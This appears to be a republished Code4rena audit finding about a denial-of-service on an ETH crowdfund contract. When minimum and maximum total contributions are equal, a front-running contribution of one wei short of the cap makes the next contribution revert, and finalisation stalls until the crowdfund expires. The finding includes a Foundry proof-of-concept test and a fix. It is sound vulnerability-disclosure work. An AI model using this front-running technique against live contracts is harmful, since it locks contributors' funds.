ETHCrowdfundBase.sol#_processContribution - Possible DoS on finalization of crowdfund under certain conditions
A crowdfund contract allows minTotalContributions to equal maxTotalContributions, and with a low exchange rate, a malicious user can contribute just below the maximum, causing the next contribution to be refunded down to 1 wei and then revert due to zero voting power. This blocks finalisation of the crowdfund until its duration ends, locking funds.
Originally disclosed on Code4rena
Submitted by TresDelinquentes
There is a check inside _processContribution, which checks if (votingPower == 0) and reverts if true.
Now let’s see how we can force it to revert. If maxTotalContributions == minTotalContributions and exchangeRateBps < 1e4, we can force a rounding down to 0, when totalContributions = maxTotalContribtuions - 1.
Let’s take a look at an example. Note that this is allowed:
ETHCrowdfundBase.sol#_initialize
...
// Set the min total contributions.
if (opts.minTotalContributions > opts.maxTotalContributions) { // The check isn't strict enough
revert MinGreaterThanMaxError(opts.minTotalContributions, opts.maxTotalContributions);
}
minTotalContributions = 10e18
maxTotalContributions = 10e18
exchangeRateBps = 0.5e4
- Alice contributes
5e18to the crowdfund. - Bob contributes
3e18to the crowdfund. - At this point,
2e18is needed to finalize the crowdfund. - Alice attempts to contribute
2e18, so the crowdfund can be finalized, but is front run by Charlie (malicious). - Charlie calls
contributewith2e18 - 1.totalContributionsbecomes10e18 - 1, so1 weiis needed to finalize the crowdfund. - Alice’s
contributegets executed. She gets refunded2e18 - 1(since only1 weiis needed for finalization) .
if (newTotalContributions >= maxTotalContributions_) {
totalContributions = maxTotalContributions_;
// Finalize the crowdfund.
// This occurs before refunding excess contribution to act as a
// reentrancy guard.
_finalize(maxTotalContributions_);
// Refund excess contribution.
// 2e18 - 1 12e18 - 1 10e18
uint96 refundAmount = newTotalContributions - maxTotalContributions;
if (refundAmount > 0) {
// 1 2e18 - (2e18 - 1)
amount -= refundAmount;
emit TestRefund(newTotalContributions, maxTotalContributions, refundAmount);
payable(msg.sender).transferEth(refundAmount);
}
}
So amount = 1.
- This line is hit:
votingPower = (amount * exchangeRateBps) / 1e4;
Calculating this we get: (1 * 0.5e4) / 1e4 = 0.5 which rounds down to 0.
- Then we hit the next line:
if (votingPower == 0) revert ZeroVotingPowerError();
We will always force a revert here, no matter what original amount is sent, since we refund the excess.
- A host attempts to call
finalize, but it reverts because of this:
// Check that the crowdfund has reached its minimum goal.
uint96 minTotalContributions_ = minTotalContributions;
// 10e18 - 1 10e18
if (totalContributions_ < minTotalContributions_) {
revert NotEnoughContributionsError(totalContributions_, minTotalContributions_);
}
Keep in mind that minTotalContributions, maxTotalContributions and exchangeRateBps cannot be changed after creation of the crowdfund. Users will be able to call refund only after the crowdfund is Lost.
The DoS will last as long as the duration of the crowdfund. If duration = 14 days, then the users will recover their funds after 14 days.
Note that if emergencyDisabled = true, the DAO won’t be able to retrieve their funds through emergencyExecute and the users will have to wait until the crowdfund is lost.
Proof of Concept
Paste the following inside test/crowdfund/InitialETHCrowdfund.t.sol in contract InitialETHCrowdfundTest and run forge test --mt test_dosOnFinalizationWhenReachingTheMaxTotalContributions -vvvv:
function test_dosOnFinalizationWhenReachingTheMaxTotalContributions() public {
InitialETHCrowdfund crowdfund = _createCrowdfund(
CreateCrowdfundArgs({
initialContribution: 0,
initialContributor: payable(address(0)),
initialDelegate: address(0),
minContributions: 0,
maxContributions: type(uint96).max,
disableContributingForExistingCard: false,
minTotalContributions: 10e18, // note the two values
maxTotalContributions: 10e18,
duration: 7 days,
exchangeRateBps: 0.5e4, //note the exchange rate
fundingSplitBps: 0,
fundingSplitRecipient: payable(address(0)),
gateKeeper: IGateKeeper(address(0)),
gateKeeperId: bytes12(0)
})
);
Party party = crowdfund.party();
// Alice contributes
address alice = _randomAddress();
vm.deal(alice, 10_000e18);
vm.prank(alice);
crowdfund.contribute{value: 5e18}(address(alice), "");
// Bob contributes
address bob = _randomAddress();
vm.deal(bob, 10_000e18);
vm.prank(bob);
crowdfund.contribute{value: 3e18}(address(bob), "");
// A malicious address front runs Alice's contribution and
// contributes so that totalContributions = 10 ether - 1
address malicious = _randomAddress();
vm.deal(malicious, 10_000e18);
vm.prank(malicious);
crowdfund.contribute{value: 2e18 - 1 }(address(malicious), "");
// Alice attempts to finalize the crowdfund by sending 2 ether,
// but the tx reverts
vm.prank(alice);
vm.expectRevert();
crowdfund.contribute{value: 2e18 }(address(alice), "");
// The host can't finalize the crowdfund as well.
vm.prank(address(this));
vm.expectRevert();
crowdfund.finalize();
}
Tools Used
Foundry
Recommended Mitigation Steps
Enforce the constraint to be more strict:
// Enforce >=, instead of >
if (opts.minTotalContributions >= opts.maxTotalContributions) {
revert MinGreaterThanMaxError(opts.minTotalContributions, opts.maxTotalContributions);
}
Assessed type
DoS
Similar to #552 but this attack works even when
minContributionsis set to0. - @0xble.It seems that to avoid both problem we need both:
maxTotalContributions - minTotalContribution > minContributionminContribution * exchangeRateBps > 1000
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the initialisation check allows minTotalContributions to equal maxTotalContributions, and the contribution logic refunds excess before calculating voting power, which can round to zero and revert.
Impact
The crowdfund cannot be finalised until its duration ends, locking user funds; if emergencyDisabled is true, the DAO cannot retrieve funds via emergencyExecute.
What the attacker needed
MinTotalContributions equals maxTotalContributions; exchangeRateBps less than 1e4; attacker can front-run a contribution
The fix
The initialisation check should enforce that minTotalContributions is strictly less than maxTotalContributions.
How it was found
- Alice contributes 5e18 to the crowdfund.
- Bob contributes 3e18 to the crowdfund.
- Charlie (malicious) front runs Alice's contribution and contributes 2e18 - 1, making totalContributions = 10e18 - 1.
- Alice attempts to contribute 2e18, but her transaction reverts because after refund her voting power rounds to zero.
- The host attempts to call finalize, but it reverts because totalContributions is below minTotalContributions.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A crowdfund lets people pool money. The contract checks that each contribution gives some voting power, but if the amount is tiny after a refund, the voting power rounds down to zero and the transaction fails. An attacker can make the total just one wei short of the goal, so the next person's contribution gets mostly refunded and then fails, stopping the crowdfund from finishing until time runs out.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.